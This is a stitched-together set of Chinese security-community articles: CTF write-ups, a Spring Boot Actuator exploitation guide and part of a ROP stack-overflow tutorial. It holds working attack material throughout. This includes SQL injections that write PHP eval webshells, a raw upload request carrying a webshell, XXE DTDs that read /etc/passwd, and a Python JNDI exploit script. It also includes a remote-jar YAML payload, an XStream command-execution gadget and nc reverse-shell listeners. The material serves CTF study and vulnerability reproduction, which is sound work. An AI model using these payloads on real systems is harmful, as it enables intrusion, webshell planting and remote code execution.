user=admin%27%2F%2A%2A%2Funi%20union%20on%2F%2A%2A%2Fseselectlect%2F%2A%2A%2Fnull%2Cnull%2Cnull%2Cnull%2C0x3c3f706870206576616c28245f524551554553545b276d275d293b3f3e%2F%2A%2A%2Fin%20in%20to%2F%2A%2A%2Foutoutfilefile%2F%2A%2A%2F%27%2Fvar%2Fwww%2Fhtml%2Fupload%2Fmiao%2Ephp%27%23&password=miao&code=&submit=true&submit.x=43&submit.y=24
当然也可以用 `char` 函数写入木马。
admin'/**/uni union on/**/seselectlect/**/null,null,null,null,char(60,63,112,104,112,32,101,118,97,108,40,36,95,82,69,81,85,69,83,84,91,39,109,39,93,41,59,63,62)/**/in in to/**/outoutfilefile/**/'/var/www/html/upload/miao.php'#
进去发现果然 MySQL 就是 root 用户起来的，于是就能写入文件。
而 PHP 运行在 `www-data` 用户，`/var/www/html` 目录是给 `www-data`
用户了，但子目录没递归变更属主也没给写入权限就离谱。
$ ps -ef
PID USER TIME COMMAND
1 root 0:07 /bin/sh /usr/local/bin/docker-php-entrypoint
10 root 0:21 /usr/bin/mysqld --user=root --skip-name-resolve --skip-networking=0
54 root 0:02 php-fpm: master process (/usr/local/etc/php-fpm.conf)
60 root 0:00 nginx: master process nginx
61 nginx 0:00 nginx: worker process
62 www-data 0:00 php-fpm: pool www
63 www-data 0:01 php-fpm: pool www
19798 root 0:00 sleep 5s
19799 www-data 0:00 ps -ef
也有可能预期解就只有这条路可走吧。
气死了， ~~下次直接 pyflag 算了~~ _（bushi_
* * *
## 上传点再探
噢对了，寻思着咱挖了两个上传点都整不通，实在过意不去啊。
既然前面发现了 `www-data` 用户只有 `/var/html/www` 这个路径有权限写入，子目录么有，那可以 **传到这个网站的根目录** 啊！
这里用的是修改图片的接口，也就是上面说的 **第二处上传点** 。
上传以后抓包修改几个地方，看图。
也就是让 `move_uploaded_file` 结果是移动到网站根目录下。
POST /admin/admin_pic.php?nav=pic_list&admin_p_nav=content HTTP/1.1
Host: a10f5ec3-1cae-476e-bb23-31ed556086dd.node4.buuoj.cn
Content-Length: 1546
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://a10f5ec3-1cae-476e-bb23-31ed556086dd.node4.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIZBj4kiaMbZzC9WL
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://a10f5ec3-1cae-476e-bb23-31ed556086dd.node4.buuoj.cn/admin/admin_pic.php?action=edit_pic&id=33&nav=pic_list&admin_p_nav=content
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=775sgdevoo6c222oonmf0qhp71
Connection: close
------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="is_thumb"
0
------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="thumb_width"
300
------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="thumb_height"
200
------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="pic_alt"
miao
------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="new_pic"; filename="cmd.php"
Content-Type: image/png
<?php @eval($_POST['cmd']);?>
------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="action"
save_edit
------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="pic_cate"
1
------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="pic_path"
./
------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="pic_name"
1
------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="pic"
upload/img/202107070904261782.jpg
------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="pic_ext"
jpg
------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="id"
33
------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="pic_thumb"
img/202107070904261782_thumb.jpeg
------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="xg_category"
确定
------WebKitFormBoundaryIZBj4kiaMbZzC9WL--
`pic_path` 留空也行。
**呐，传上来了，能用了。**
喵喵落泪（
* * *
又想了想，寻思着是不是 `iconv` 的锅啊，上传经过这个函数时候东西都没了……
// 第一个上传点
// includes/fun.php#588-590
$up_file_name=empty($pic_alt)?date('YmdHis').rand(1,10000):$pic_alt;
$up_file_name2=iconv('UTF-8','GBK',$up_file_name);
$file_name=$path.$up_file_name2.'.'.$pic_name['extension'];
// 第二个上传点
// admin/admin_pic.php#64-65
$pic_name=$_POST['pic_name'];//图片名称
$pic_name = iconv('UTF-8','GBK',$pic_name);
phpinfo 看一眼。
好家伙，看起来是因为没 [libiconv](https://www.gnu.org/software/libiconv/) 或者
[glibc](http://www.gnu.org/software/libc/)，所以这里面东西就变成空了……没事了。
* * *
## 小结
其实是一次因为想不通而开始的深入探究，唉，这题做起来不容易啊……
感觉还是太菜了，再次落泪（
顺便，欢迎大师傅们来 [咱博客](https://miaotony.xyz/?utm_source=anquanke) 逛逛喵~
_（溜了溜了喵~_ | 社区文章 |
作者:cvcvxk
来自 http://bbs.pediy.com/showthread.php?t=213722
签名，可以注入任意dll 到目标进程。真的是不看不知道，一看吓一跳。首先看一下是这么个东西
文件我打包上来了Tracker.zip .
比如
Tracker /d c:\samples\20161104\infected.dll /c c:\tools\whitelist\appluancher.exeinfected.dll
是某使用这个的样本，白名单进程随便找的，
tracker在win+R里输入就行了——不过好像是因为我装了.net的sdk导致的可以单独的tracker跑起来...infected的dll果然不能随便，
逆向看了一下，顺手写个
infect_dll.zip . 完整代码:<http://git.oschina.net/killvxk/infected_dll效果图，毫无人性啊> | 社区文章 |
> [原文](https://www.cdxy.me/?p=799)受邀转发
> @r3kapig 战队欢迎大佬入伙，邮件 i[at]cdxy.me
# 环境
XCTF Final 和 HITB 赶在了周四周五，周四晚上拿到题目，此时队友已经对PHP代码完成了解密工作。
* 解密后的代码： <http://static.cdxy.me/DECODED.zip>
* github：<https://github.com/Xyntax/XCTF-2018-Final-WEB2-PUBG>
解密后的代码读起来有点麻烦，并无大碍。
# 有点魔幻的get flag过程
当晚并没有找到突破口，但发现`kss_admin/admin_update`函数疑似是exp链路中的一环。
其中120行发现CMS更新功能，从远端主站拉取代码写入本地:
$_obfuscate_koiKkIiPjI6UkYeRlIqNhoc� = _obfuscate_lY6Gk5KMkYmPjIyPhpCOlYc�( "http://api.hphu.com/import/".$_obfuscate_koaSiYqGjIqMiZSLk4uGiZU�.".php?phpver=".PHP_VERSION."&webid=".WEBID."&rid=".time( ), 300 );
跟进`Yc`函数，发现其注册了两个curl的回调 `read_header`,`read_body`：
curl_setopt( $_obfuscate_joiNh4aIhouViZGQho_JiI4�, CURLOPT_HEADERFUNCTION, "read_header" );
curl_setopt( $_obfuscate_joiNh4aIhouViZGQho_JiI4�, CURLOPT_WRITEFUNCTION, "read_body" );
其中`read_body`函数会将curl到的content写到本地文件`kss_tool/_webup.php`
file_put_contents( KSSROOTDIR."kss_tool".DIRECTORY_SEPARATOR."_webup.php", $_obfuscate_jJWMiJWJjoyIkYmLjY6VipM�, FILE_APPEND );
想要使用`admin_upload.php`这个点写shell，需要满足两个条件：
1. 绕过admin权限验证
2. 能控制curl部分的回显
周四当晚并没有突破。周五早9点比赛环境恢复，我打开ipython对这个疑似webshell的地址`kss_tool/_webup.php`做了监控。如果这个文件被其他队动了，就证明这个思路是可行的。
In [1]: while True:
...: try:
...: r = requests.get('http://guaika.txmeili.com:8888/kss_tool/_webup.php')
...: except Exception,e:
...: print e
...: continue
...: if r.content not in ans:
...: print r.content
...: ans.append(r.content)
结果发现这个文件的http response在一直变化，看着看着flag就出来了....
然后提交拿了2血，几秒之后看到De1ta也交了flag，感谢De1ta的WEB大佬们送的火箭！
# 解题过程
当天下午完整打通了exp过程，分为三个部分：
1. 找到注入点，偷数据
2. 构造cookie，拿到admin权限
3. 通过更新功能写shell到本地，读flag
## SQL注入
#### CMS对SQL注入的防御策略
`kss_inc/function` [github link](https://github.com/Xyntax/XCTF-2018-Final-WEB2-PUBG/blob/master/DECODED/kss_inc/function.php#L635)
实现了多种过滤方案，然后在SQL语句拼接取参时，通过传入参数指定取参的位置(GET/POST/COOKIE)和过滤方案(sql/sqljs/num等)
外部取参的代码示例：
$_obfuscate_iJWMjIiVi5OGjJOViY2Li48� = _obfuscate_i4mIkpOGkomKiouRhoaMh5I�( "out_trade_no", "pg", "sql", "" );
意思是从POST/GET(pg)中取出参数`out_trade_no`的值，然后通过`sql`过滤器的检查后，赋值到`i48`变量。
先简单看下过滤器的正则：
case "sql" :
if ( preg_match( "/select|insert|update|delete |union|into|load_file|outfile|char|0x[0-9a-f]{6}|\\.\\/|\\/\\*|'/i", $_obfuscate_ipCJlJOSlJSQkYqNlYqKlIs˙ ) )
{
ob_clean( );
$_obfuscate_ipCJlJOSlJSQkYqNlYqKlIs˙ = preg_replace( "/(select|insert|update|delete |union|into|load_file|outfile|char|0x[0-9a-f]{6}|\\.\\/|\\*|')/i", "<font color=red>$1</font>", $_obfuscate_ipCJlJOSlJSQkYqNlYqKlIs˙ );
exit( "<p>MySQL injection:".$_obfuscate_lIyOioeNkY6Vj4qPkJGMiJQ˙.",".$_obfuscate_iYyTho_HlJCOh4yRj4ePj4k˙.",".$_obfuscate_ipCJlJOSlJSQkYqNlYqKlIs˙."</p>" );
过滤了`'`，然后匹配到这些危险字符时，会将参数带到html回显，使response可控（XSS敏感）。
正则写的没啥问题，接下来两个方向：
1. 找到忘记使用过滤器直接传参的场景
2. 找到外部没用`'`包裹的拼接，构造注入
#### 注入构造
`kss_inc/payapi_return2.php`是一个外部支付功能。其中的`chinabank`,`e138`两种支付方式均存在"未使用过滤器"直接传参的漏洞。
else if ( $_obfuscate_kYyPkY_PkJKVh4qGjJGIio4� == "chinabank" )
{
$_obfuscate_kpGPh4mNh46SkZONh4eLlJU� = "";
$_obfuscate_k42NkY2RkoiNjJCKlZSKiIg� = trim( $_POST['v_oid'] );
$_obfuscate_iJWMjIiVi5OGjJOViY2Li48� = $_obfuscate_k42NkY2RkoiNjJCKlZSKiIg�;
$_obfuscate_iIuQkYaUioqGlI6IjIuMiI8� = trim( $_POST['v_pstatus'] );
$_obfuscate_jpGJk5SSkJOIk4iQiI_OhpU� = trim( $_POST['v_amount'] );
$_obfuscate_lIuQk5OGjpKVjY6UiI_QjJM� = $_obfuscate_jpGJk5SSkJOIk4iQiI_OhpU�;
$_obfuscate_hpCRlJCSjI6Ki5WSipCLkpQ� = trim( $_POST['v_moneytype'] );
$_obfuscate_lJSPjJCOi5CIiJSSkZWNh4Y� = trim( $_POST['remark1'] );
$_obfuscate_iImJjYmQjYyOjIuVkIuMjIs� = trim( $_POST['v_md5str'] );
if ( $_obfuscate_iIuQkYaUioqGlI6IjIuMiI8� == "20" )
{
$_obfuscate_i5CMioaGiI6ShomNiIuKjJE� = "TRADE_FINISHED";
}
else
{
$_obfuscate_i5CMioaGiI6ShomNiIuKjJE� = "WAIT_BUYER_PAY";
}
}
else if ( $_obfuscate_kYyPkY_PkJKVh4qGjJGIio4� == "e138" )
{
$_obfuscate_kpGPh4mNh46SkZONh4eLlJU� = "";
$_obfuscate_k42NkY2RkoiNjJCKlZSKiIg� = trim( $_POST['SerialNo'] );
$_obfuscate_iJWMjIiVi5OGjJOViY2Li48� = $_obfuscate_k42NkY2RkoiNjJCKlZSKiIg�;
$_obfuscate_iIuQkYaUioqGlI6IjIuMiI8� = trim( $_POST['Status'] );
$_obfuscate_jpGJk5SSkJOIk4iQiI_OhpU� = trim( $_POST['Money'] );
$_obfuscate_lIuQk5OGjpKVjY6UiI_QjJM� = $_obfuscate_jpGJk5SSkJOIk4iQiI_OhpU�;
$_obfuscate_iImJjYmQjYyOjIuVkIuMjIs� = trim( $_POST['VerifyString'] );
if ( $_obfuscate_iIuQkYaUioqGlI6IjIuMiI8� == "2" )
{
$_obfuscate_i5CMioaGiI6ShomNiIuKjJE� = "TRADE_FINISHED";
}
else
{
$_obfuscate_i5CMioaGiI6ShomNiIuKjJE� = "WAIT_BUYER_PAY";
}
}
SQL执行时`GP`被带入`i48`变量。
$_obfuscate_lZGQj4iOj4mTlZGNjZGUj5E� = $_obfuscate_jIaUiIeSjZWKlIqLkIqOioc�->_obfuscate_iY6OkJCRkY2PjpCPk5CRkJA�( "select * from kss_tb_order where ordernum='".$_obfuscate_iJWMjIiVi5OGjJOViY2Li48�."'" );
这里因为没有过滤，可以`'`闭合然后构造一个布尔盲注。
## Cookie构造
在使用`admin_upload.php`写shell之前，有权限校验，可使用从数据库中注出的数据，按源码的验证逻辑构造出cookie，拿到admin权限。
cookie构造逻辑在`kss_inc/db_function.php` line 300。
有两个k-v需要构造，下图红框部分为注入跑出来的数据，蓝框部分从源码配置文件里拿到:
## webshell写入
回到最开始提到的从远程服务器更新代码的逻辑：
$_obfuscate_koiKkIiPjI6UkYeRlIqNhoc� = _obfuscate_lY6Gk5KMkYmPjIyPhpCOlYc�( "http://api.hphu.com/import/".$_obfuscate_koaSiYqGjIqMiZSLk4uGiZU�.".php?phpver=".PHP_VERSION."&webid=".WEBID."&rid=".time( ), 300 );
URL里面拼接的变量是外部可控的，我们在这个主站的test目录下发现了一套Demo的CMS：
http://api.hphu.com/test/kss_admin/index.php
回想之前的SQL注入过滤机制，我们可以触发这个机制，将php代码写入http回显，然后`admin_upload.php`通过`curl`读内容时会将页面中的php代码写入`_webup.php`，完成webshell植入。
主站回显构造：
Exp构造(带上之前构造好的cookie)：
最终将可控回显写入`_webup.php`
然后通过webshell读到C盘根目录下的flag文件。
* * *
* 给 @r3kapig 队友递茶
* 给提供思路的队内WEB大佬递茶 @麦香 @zzm @hear7v @lynahex @n0b0dy
* 给本题做的比我们快的 @Dubhe 和 @De1ta 两队WEB大佬递茶
* 给出题人递茶 @RicterZ | 社区文章 |
_复现一下Sprint Boot的一些漏洞_
* 环境搭建
_Dump环境_
_Mvn构建项目_
_启动项目_
* 端点信息
路径 描述
/autoconfig 提供了一份自动配置报告，记录哪些自动配置条件通过了，哪些没通过
/beans 描述应用程序上下文里全部的Bean，以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标，这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息，这些信息由info打头的属性提供
/mappings 描述全部的URI路径，以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息，比如内存用量和HTTP请求计数
/shutdown 关闭应用程序，要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)
* Spring Boot 1.x版本端点在根URL下注册
_2.x版本端点移动到/actuator/路径_
## Jolokia漏洞利用
### Jolokia漏洞利用（XXE）
* jolokia/list
**查看jolokia/list中存在的 Mbeans，是否存在logback 库提供的reloadByURL方法**
* 创建logback.xml和fileread.dtd文件
**logback.xml**
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/fileread.dtd">%remote;%int;]>
<a>&trick;</a>
**fileread.dtd**
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
* 将文件上传到公网VPS上并且开启http服务
* 远程访问logback.xml文件
**127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml**
* 成功利用xxe读取到etc/passwd文件内容
### Jolokia漏洞利用（RCE）
* 下载修改RMI服务代码
* 编译打包
mvn clean install
_打包成功后创建target目录下生成RMIServer-0.1.0.jar文件_
* 修改logback.xml文件内容
<configuration>
<insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" />
</configuration>
* 把RMIServer-0.1.0.jar文件上传到公网vps上并执行
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
* nc监听
nc -lvp 6666
* 漏洞url上访问
http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/xxx.xxx.xxx.xxx!/logback.xml
* 反弹shell
### Jolokia漏洞利用（RCE-createJNDIRealm方法）
> 查看/jolokia/list
> 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法，可能存在JNDI注入，导致远程代码执行
* python执行脚本
import requests as req
import sys
from pprint import pprint
url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
#写入contextFactory
set_contextFactory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://x.x.x.x:1097/jndi"
}
#停止Realm
stop_JNDIrealm = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
#运行Realm，触发JNDI 注入
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
for i in expoloit:
rep = req.post(url, json=i)
pprint(rep.json())
* 运行RMI服务
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
* nc 监听
nc -lvp 6666
* python发送请求
python exp.py http://127.0.0.1:8090
* 反弹shell
## env端点利用
### SpringBoot env 获取* 敏感信息
> 如果Spring Cloud Libraries在路径中，则'/env'端点会默认允许修改Spring环境属性。
> “@ConfigurationProperties”的所有bean都可以进行修改和重新绑定。
* 例如要获取PID（这是假设，假设PID为**）
* 修改enveureka.client.serviceUrl.defaultZone属性
* nc监听
* refresh
* base64解码获取属性
### spring Cloud env yaml利用
> 当spring boot使用Spring Cloud 相关组件时，会存在spring.cloud.bootstrap.location属性，通过修改
> spring.cloud.bootstrap.location 环境变量实现 RCE
* 利用范围
**Spring Boot 2.x 无法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功，使用 Edgware 无法成功
Spring Boot <= 1.4 可利用成功**
* 下载exp修改执行命令
https://github.com/artsploit/yaml-payload
* 将java文件进行编译
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
* 创建yaml文件并放到公网
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[
!!java.net.URL ["http://xxx.xxx.xxx.xxx:8000/yaml-payload.jar"] ]]
]
* 修改 spring.cloud.bootstrap.location为外部 yml 配置文件地址
* 请求 /refresh 接口触发
* 执行命令成功
### xstream反序列化
* 前提条件
**Eureka-Client <1.8.7（多见于Spring Cloud Netflix）**
* 在VPS创建xstream文件，使用flask返回application/xml格式数据
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>命令</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next>foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
* 启动服务
python3 flask_xstream.py
* 写入配置
* 刷新触发
* 获取反弹shell
## 参考
[一次曲折的渗透测试之旅](https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA)
[Spring Boot Actuator 漏洞利用](https://www.freebuf.com/column/234266.html)
[Spring Boot
Actuators配置不当导致RCE漏洞复现](https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Spring%20Boot%20Actuators%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4RCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/) | 社区文章 |
本文来源：[长亭技术专栏](https://zhuanlan.zhihu.com/p/25892385)
作者：[ **Jwizard**](https://www.zhihu.com/people/Jwizard)
接上篇：[手把手教你栈溢出从入门到放弃（上）](http://paper.seebug.org/271)
## **_0x00_ 写在前面**
首先还是广播一下2017 Pwn2Own
大赛的最终赛果，本次比赛共发现51个漏洞，长亭安全实验室贡献11个，以积26分的总成绩，在11支参赛团队中名列第三！同时，也祝贺国内的安全团队包揽本次大赛的前三名！
## **_0x10_ 上期回顾**
上篇文章介绍了栈溢出的原理和两种执行方法，两种方法都是通过覆盖返回地址来执行输入的指令片段（shellcode）或者动态库中的函数（return2libc）。本篇会继续介绍另外两种实现方法。一种是覆盖返回地址来执行内存内已有的代码片段（ROP），另一种是将某个函数的地址替换成另一个函数的地址（hijack
GOT）。
## **_0x20_ 相关知识**
## _0x21_ 寄存器
在上篇的背景知识中，我们提到了函数状态相关的三个寄存器－－esp，ebp，eip。下面的内容会涉及更多的寄存器，所以我们大致介绍下寄存器在执行程序指令中的不同用途。
32位x86架构下的寄存器可以被简单分为 **通用寄存器** 和 **特殊寄存器**
两类，通用寄存器在大部分汇编指令下是可以任意使用的（虽然有些指令规定了某些寄存器的特定用途），而特殊寄存器只能被特定的汇编指令使用，不能用来任意存储数据。
32位x86架构下的通用寄存器包括一般寄存器（eax、ebx、ecx、edx），索引寄存器（esi、edi），以及堆栈指针寄存器（esp、ebp）。
一般寄存器用来存储运行时数据，是指令最常用到的寄存器，除了存放一般性的数据，每个一般寄存器都有自己较为固定的独特用途。eax 被称为累加寄存器（ **A**
ccumulator），用以进行算数运算和返回函数结果等。ebx 被称为基址寄存器（ **B**
ase），在内存寻址时（比如数组运算）用以存放基地址。ecx 被称为记数寄存器（ **C** ounter），用以在循环过程中记数。edx
被称为数据寄存器（ **D** ata），常配合 eax 一起存放运算结果等数据。
索引寄存器通常用于字符串操作中，esi 指向要处理的数据地址（ **S** ource **I** ndex），edi 指向存放处理结果的数据地址（
**D** estination **I** ndex）。
堆栈指针寄存器（esp、ebp）用于保存函数在调用栈中的状态，上篇已有详细的介绍。
32位x86架构下的特殊寄存器包括段地址寄存器（ss、cs、ds、es、fs、gs），标志位寄存器（EFLAGS），以及指令指针寄存器（eip）。
现代操作系统内存通常是以分段的形式存放不同类型的信息的。我们在上篇谈及的函数调用栈就是分段的一个部分（Stack
Segment）。内存分段还包括堆（Heap Segment）、数据段（Data Segment），BSS段，以及代码段（Code
Segment）。代码段存储可执行代码和只读常量（如常量字符串），属性可读可执行，但通常不可写。数据段存储已经初始化且初值不为0的全局变量和静态局部变量，BSS段存储未初始化或初值为0的全局变量和静态局部变量，这两段数据都有可写的属性。堆用于存放程序运行中动态分配的内存，例如C语言中的
malloc() 和 free() 函数就是在堆上分配和释放内存。各段在内存的排列如下图所示。
**Fig1. 内存分段的典型布局**
段地址寄存器就是用来存储内存分段地址的，其中寄存器 ss 存储函数调用栈（ **S** tack **S** egment）的地址，寄存器 cs
存储代码段（ **C** ode **S** egment）的地址，寄存器 ds 存储数据段（ **D** ata **S**
egment）的地址，es、fs、gs 是附加的存储数据段地址的寄存器。
标志位寄存器（EFLAGS）32位中的大部分被用于标志数据或程序的状态，例如 OF（ **O** verflow **F** lag）对应数值溢出、IF（
**I** nterrupt **F** lag）对应中断、ZF（ **Z** ero **F** lag）对应运算结果为0、CF（ **C** arry
**F** lag）对应运算产生进位等等。
指令指针寄存器（eip）存储下一条运行指令的地址，上篇已有详细的介绍。
## _0x22_ 汇编指令
为了更好地理解后面的内容，一点点汇编语言的知识也是必要的，本节会介绍一些基础指令的含义。32位x86架构下的汇编语言有 Intel 和 AT&T
两种格式，本文所用汇编指令都是 Intel 格式。两者最主要的差别如下。
Intel 格式，寄存器名称和数值前无符号：
> _“指令名称 目标操作数 DST，源操作数 SRC”_
AT&T 格式，寄存器名称前加“%”，数值前加“$”：
> _“指令名称 源操作数 SRC，目标操作数 DST”_
一些最常用的汇编指令如下：
* MOV：数据传输指令，将 SRC 传至 DST，格式为
MOV DST, SRC;
* PUSH：压入堆栈指令，将 SRC 压入栈内，格式为
PUSH SRC;
* POP：弹出堆栈指令，将栈顶的数据弹出并存至 DST，格式为
POP DST;
* LEA：取地址指令，将 MEM 的地址存至 REG ，格式为
LEA REG, MEM;
* ADD／SUB：加／减法指令，将运算结果存至 DST，格式为
ADD/SUB DST, SRC;
* AND／OR／XOR：按位与／或／异或，将运算结果存至 DST ，格式为
AND/OR/XOR DST，SRC;
* CALL：调用指令，将当前的 eip 压入栈顶，并将 PTR 存入 eip，格式为
CALL PTR;
* RET：返回指令，操作为将栈顶数据弹出至 eip，格式为
RET;
介绍完以上背景知识，就可以继续栈溢出技术之路了。
## **_0x30_ ROP ( Return Oriented Programming )**
_－－修改返回地址，让其指向内存中已有的一段指令_
根据上面副标题的说明，要完成的任务包括：在内存中确定某段指令的地址，并用其覆盖返回地址。可是既然可以覆盖返回地址并定位到内存地址，为什么不直接用上篇提到的
return2libc
呢？因为有时目标函数在内存内无法找到，有时目标操作并没有特定的函数可以完美适配。这时就需要在内存中寻找多个指令片段，拼凑出一系列操作来达成目的。假如要执行某段指令（我们将其称为“gadget”，意为小工具），溢出数据应该以下面的方式构造（padding
长度和内容的确定方式参见上篇）：
> **payload :** padding + address of gadget
**Fig 2. 包含单个 gadget 的溢出数据**
如果想连续执行若干段指令，就需要每个 gadget 执行完毕可以将控制权交给下一个 gadget。所以 gadget 的最后一步应该是 RET
指令，这样程序的控制权（eip）才能得到切换，所以这种技术被称为返回导向编程( **R** eturn **O** riented **P**
rogramming )。要执行多个 gadget，溢出数据应该以下面的方式构造：
> **payload :** padding + address of gadget 1 + address of gadget 2 + ......
> \+ address of gadget n
在这样的构造下，被调用函数返回时会跳转执行 gadget 1，执行完毕时 gadget 1 的 RET 指令会将此时的栈顶数据（也就是 gadget 2
的地址）弹出至 eip，程序继续跳转执行 gadget 2，以此类推。
**Fig 3. 包含多个 gadget 的溢出数据**
现在任务可以分解为：针对程序栈溢出所要实现的效果，找到若干段以 ret
作为结束的指令片段，按照上述的构造将它们的地址填充到溢出数据中。所以我们要解决以下几个问题。
首先，栈溢出之后要实现什么效果？
ROP 常见的拼凑效果是实现一次系统调用，Linux系统下对应的汇编指令是 int 0x80。执行这条指令时，被调用函数的编号应存入
eax，调用参数应按顺序存入 ebx，ecx，edx，esi，edi 中。例如，编号125对应函数
mprotect (void *addr, size_t len, int prot)
，可用该函数将栈的属性改为可执行，这样就可以使用 shellcode 了。假如我们想利用系统调用执行这个函数，eax、ebx、ecx、edx
应该分别为“125”、内存栈的分段地址（可以通过调试工具确定）、“0x10000”（需要修改的空间长度，也许需要更长）、“7”（RWX 权限）。
其次，如何寻找对应的指令片段？
有若干开源工具可以实现搜索以 ret 结尾的指令片段，著名的包括 **ROPgadget** 、 **rp++** 、 **ropeme**
等，甚至也可以用 grep 等文本匹配工具在汇编指令中搜索 ret 再进一步筛选。搜索的详细过程在这里就不再赘述，有兴趣的同学可以参考上述工具的说明文档。
最后，如何传入系统调用的参数？
对于上面提到的 mprotect 函数，我们需要将参数传输至寄存器，所以可以用 pop 指令将栈顶数据弹入寄存器。如果在内存中能找到直接可用的数据，也可以用
mov 指令来进行传输，不过写入数据再 pop 要比先搜索再 mov 来的简单，对吧？如果要用 pop
指令来传输调用参数，就需要在溢出数据内包含这些参数，所以上面的溢出数据格式需要一点修改。对于单个 gadget，pop 所传输的数据应该在 gadget
地址之后，如下图所示。
**Fig 4. gadget “pop eax; ret;”**
在调用 mprotect() 为栈开启可执行权限之后，我们希望执行一段 shellcode，所以要将 shellcode 也加入溢出数据，并将
shellcode 的开始地址加到 int 0x80 的 gadget之后。但确定 shellcode
在内存的确切地址是很困难的事（想起上篇里面艰难试探的过程了吗？），我们可以使用 push esp 这个 gadget（加入可以找到的话）。
**Fig 5. gadget “push esp; ret;”**
我们假设现在内存中可以找到如下几条指令：
pop eax; ret; # pop stack top into eax
pop ebx; ret; # pop stack top into ebx
pop ecx; ret; # pop stack top into ecx
pop edx; ret; # pop stack top into edx
int 0x80; ret; # system call
push esp; ret; # push address of shellcode
